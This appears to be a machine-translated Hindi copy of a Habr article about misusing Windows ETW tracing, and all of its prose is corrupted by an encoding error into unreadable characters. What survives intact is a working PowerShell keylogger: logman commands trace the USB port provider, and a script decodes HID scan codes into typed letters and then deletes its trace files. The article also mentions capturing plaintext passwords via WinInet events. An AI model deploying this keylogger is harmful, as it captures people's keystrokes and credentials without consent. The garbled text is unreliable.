рддреБрдо рднреА рдмреЗрддрд░рддреАрдм рдврдВрдЧ рд╕реЗ рд╢рдмреНрдж рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред



рд╕рд╛рджреЗ рдкрд╛рда рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдбред рдмрд╣реБрдд рдЧреБрд╕реНрд╕рд╛ рдЖ рд░рд╣рд╛ рд╣реИред


рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдЪреБрдк рдерд╛ред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрд░реЗрдЦрдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИред


рдмреЗрд╢рдХ, WinInet рдИрд╡реЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдирд┐рджрд╛рди рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ "рдпрд╣ рд╕рд╛рдЗрдЯ рдХреНрдпреЛрдВ рдирд╣реАрдВ рдЦреБрд▓рддреА рд╣реИ рдФрд░ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИред" рдлрд┐рд░ рднреА, рд╕рдВрднрд╛рд╡рдирд╛рдПрдВ рдХрд╛рдлреА рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВред рдореИрдВ рдФрд░ рднреА рдЕрдзрд┐рдХ рдореБрдбрд╝ рдЙрджрд╛рд╣рд░рдг рдХреА рдУрд░ рдореБрдбрд╝рддрд╛ рд╣реВрдВред


PowerShell рдкрд░ Keyloggerред рдХреНрдпреЛрдВрдХрд┐ рдореИрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдБред


рд╡рд┐рдВрдбреЛрдЬ рдкрд░ рджреЛ рджрд┐рд▓рдЪрд╕реНрдк ETW рдкреНрд░рджрд╛рддрд╛ рд╣реИрдВ:


  • Microsoft-Windows-USB- UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) - USB 2.0 рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред


  • Microsoft-Windows-USB-USBPORT (C88A4EF5-D048-4013-9408-E04B7DB2814A) - USB 3.0 рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред



рдЙрдирдХреА рдорджрдж рд╕реЗ, рдЖрдк рдПрдЪрдЖрдИрдбреА рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрд┐ рдПрдХ рдпреВрдПрд╕рдмреА рдбрд┐рд╡рд╛рдЗрд╕ рдЬреИрд╕реЗ рдХрд┐ рдХреАрдмреЛрд░реНрдб рдпрд╛ рдорд╛рдЙрд╕ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдХрд░рддрд╛ рд╣реИред рдбреЗрдЯрд╛ рдХрдЪреНрдЪреЗ рдкрд░ рдХрдмреНрдЬрд╛ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЫрд┐рдкрд╛рдИ рд╡рд┐рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж , рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


рдЯреНрд░реЗрд╕рд┐рдВрдЧ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:


 logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets 

рдФрд░ рдбреЗрдЯрд╛ рдХреЛ PowerShell cmdlet рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:


 $Input=get-winevent тАУpath "c:\temp\usbtrace.etl" тАУoldest | where {$_.message тАУmatch "Data"} 

рдореИрдВ рдПрдХ рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреВрдВрдЧрд╛ рдЬреЛ рдЯреНрд░реЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдкрдардиреАрдп рдореВрд▓реНрдпреЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИред рд░реВрдкрд╛рдВрддрд░рдг рдХреЗрд╡рд▓ рдЕрдВрдЧреНрд░реЗрдЬреА рдЕрдХреНрд╖рд░реЛрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдмрдбрд╝реЗ рдЕрдХреНрд╖рд░реЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


рд╕реНрдкреЙрдЗрд▓рд░ рдХреЗ рддрд╣рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдкреВрд░реА рд▓рд┐рд╕реНрдЯрд┐рдВрдЧред
 $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent тАУpath $Source тАУoldest | where {$_.message тАУmatch "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination" 

рдЬрдм рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ 10 рд╕реЗрдХрдВрдб рдХреЗ рд▓рд┐рдП рдЯреНрд░реЗрд╕ рдкрд░ рдореБрдбрд╝ рдЬрд╛рддреА рд╣реИ, рдлрд┐рд░ рдкрд░рд┐рдгрд╛рдо рджрд┐рдЦрд╛рддреА рд╣реИред



рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдирддреАрдЬрд╛ред


рдмреЗрд╢рдХ, HID рдбреЗрдЯрд╛ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдХ рдкреВрд░реНрдг keylogger рдореЗрдВ рдкрд░рд┐рд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХреАрдмреЛрд░реНрдб рдФрд░ рдорд╛рдЙрд╕ рд╕реЗ рдбреЗрдЯрд╛ рд░рд┐рдХреЙрд░реНрдб рдХрд░реЗрдЧрд╛ред рдпрд╣ рдЗрд╕ рддрдВрддреНрд░ рдХреА рд╕реАрдорд╛рдУрдВ рдХреЛ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ:


  • рдХреЗрд╡рд▓ USB рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдФрд░ PS \ 2 (рдЬреИрд╕рд╛ рдХрд┐ рдХрднреА-рдХрднреА рд▓реИрдкрдЯреЙрдк рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИ;
  • рдпреВрдПрд╕рдмреА 3.0 рд╕рдорд░реНрдерди рдХреА рдШреЛрд╖рдгрд╛ рдХреЗрд╡рд▓ рд╡рд┐рдВрдбреЛрдЬ 8 рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдХреА рдЬрд╛рддреА рд╣реИ;
  • рдкреНрд░рд╢рд╛рд╕рдХ рдЕрдзрд┐рдХрд╛рд░ (UAC) рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рд▓реЗрдХрд┐рди рдХреЛрдИ рдбреНрд░рд╛рдЗрд╡рд░ рдФрд░ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯрд░ рдирд╣реАрдВред рдЦреИрд░, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ рдХреАрдЧрд▓рд░ рдХреАрдмреЛрд░реНрдб рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рдирд┐рджрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рд░реВрдк рд╕реЗред


рдХреНрдпрд╛ рдореБрдЭреЗ рдбрд░рдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ


рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдЦрд▓рдирд╛рдпрдХ рдХреЗ рд╣рд╛рдереЛрдВ рдореЗрдВ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рддрдВрддреНрд░ рдкрд░реЗрд╢рд╛рдиреА рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рддрд░реАрдХреЗ рд╕рдорд╛рди рд░рд╣рддреЗ рд╣реИрдВ: рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рд╕реЗ рдмреНрд▓реЙрдХ рди рдХрд░реЗрдВ, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рдо рди рдХрд░реЗрдВ, рдФрд░ рдпрджрд┐ рд╡реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдХрдо рд╕реЗ рдХрдо рдпреВрдПрд╕реА рдХреЛ рдЕрдХреНрд╖рдо рди рдХрд░реЗрдВред рдФрд░, рдЬрд╝рд╛рд╣рд┐рд░ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд┐рдВрдбреЛрдЬ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рд╡рд╛рд▓ рдЙрдард╛рддреЗ рд╣реИрдВред

Source: https://habr.com/ru/post/hi418787/


All Articles